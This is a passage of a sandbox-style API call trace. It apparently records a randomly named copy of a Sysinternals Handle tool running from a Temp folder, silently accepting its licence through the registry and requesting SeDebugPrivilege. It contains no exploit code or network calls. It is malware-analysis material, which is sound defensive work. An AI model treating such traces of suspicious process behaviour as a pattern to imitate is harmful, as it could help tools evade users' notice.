lpProcName="FlsGetValue") returned 0x76f43520 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0134.755] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0134.756] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0134.756] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0134.756] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0134.756] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0134.756] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0134.756] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0134.756] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0134.756] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x478) returned 0x34f050 [0134.757] GetCurrentThreadId () returned 0xbbc [0134.757] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x345ed0 [0134.757] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb00) returned 0x34f4d0 [0134.757] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x34f050)) [0134.757] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0134.757] GetFileType (hFile=0x3) returned 0x2 [0134.757] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0134.757] GetFileType (hFile=0x4) returned 0x3 [0134.757] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0134.757] GetFileType (hFile=0xb) returned 0x2 [0134.758] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" [0134.758] GetEnvironmentStringsW () returned 0x34ffe0* [0134.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xb38) returned 0x350b20 [0134.758] FreeEnvironmentStringsW (penv=0x34ffe0) returned 1 [0134.758] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0134.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x8e) returned 0x351660 [0134.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x138) returned 0x351700 [0134.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3e) returned 0x346510 [0134.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x6c) returned 0x351840 [0134.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x62) returned 0x3518c0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x78) returned 0x351930 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x62) returned 0x3519b0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2e) returned 0x34de00 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x48) returned 0x346560 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2a) returned 0x34de40 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x28) returned 0x345f00 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1a) returned 0x345f30 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4a) returned 0x351a20 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x72) returned 0x351a80 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x34de80 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2e) returned 0x34dec0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1c) returned 0x345f60 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xd2) returned 0x351b00 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x7c) returned 0x351be0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x3465b0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x90) returned 0x351c70 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x24) returned 0x345f90 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x34df00 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x36) returned 0x34df40 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c) returned 0x346600 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x52) returned 0x351d10 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c) returned 0x346650 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x351d70 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x82) returned 0x351d90 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2e) returned 0x34df80 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x345fc0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2c) returned 0x34dfc0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x351e20 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x52) returned 0x351e80 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2a) returned 0x34e000 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c) returned 0x3466a0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x351ee0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x24) returned 0x345ff0 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x34e040 [0134.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x8c) returned 0x34ffe0 [0134.759] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x350b20 | out: hHeap=0x330000) returned 1 [0134.760] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1000) returned 0x350080 [0134.760] GetLastError () returned 0x0 [0134.760] SetLastError (dwErrCode=0x0) [0134.760] GetLastError () returned 0x0 [0134.760] SetLastError (dwErrCode=0x0) [0134.760] GetLastError () returned 0x0 [0134.760] SetLastError (dwErrCode=0x0) [0134.760] GetACP () returned 0x4e4 [0134.760] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x228) returned 0x351090 [0134.760] GetLastError () returned 0x0 [0134.760] SetLastError (dwErrCode=0x0) [0134.760] IsValidCodePage (CodePage=0x4e4) returned 1 [0134.760] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0134.760] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0134.760] GetLastError () returned 0x0 [0134.761] SetLastError (dwErrCode=0x0) [0134.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿΜ苈✤") returned 256 [0134.761] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿΜ苈✤", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0134.761] GetLastError () returned 0x0 [0134.761] SetLastError (dwErrCode=0x0) [0134.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0134.761] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0134.761] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0134.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0134.761] GetLastError () returned 0x0 [0134.761] SetLastError (dwErrCode=0x0) [0134.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.761] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0134.761] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0134.762] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0134.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0134.762] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x100) returned 0x3512c0 [0134.762] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0134.762] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3512c0) returned 0x100 [0134.762] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0134.762] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0134.762] GetCurrentProcess () returned 0xffffffffffffffff [0134.763] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0134.763] GetLastError () returned 0x0 [0134.763] SetLastError (dwErrCode=0x0) [0134.763] GetLastError () returned 0x0 [0134.763] SetLastError (dwErrCode=0x0) [0134.763] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0134.763] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0134.764] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0134.764] RegCloseKey (hKey=0x7c) returned 0x0 [0134.764] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0134.764] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0134.764] RegCloseKey (hKey=0x7c) returned 0x0 [0134.764] GetLastError () returned 0x0 [0134.764] SetLastError (dwErrCode=0x0) [0134.764] GetLastError () returned 0x0 [0134.764] SetLastError (dwErrCode=0x0) [0134.764] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x7c) returned 0x0 [0134.764] RegSetValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0134.764] RegCloseKey (hKey=0x7c) returned 0x0 [0134.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0134.765] GetCurrentProcess () returned 0xffffffffffffffff [0134.765] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x7c) returned 1 [0134.765] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 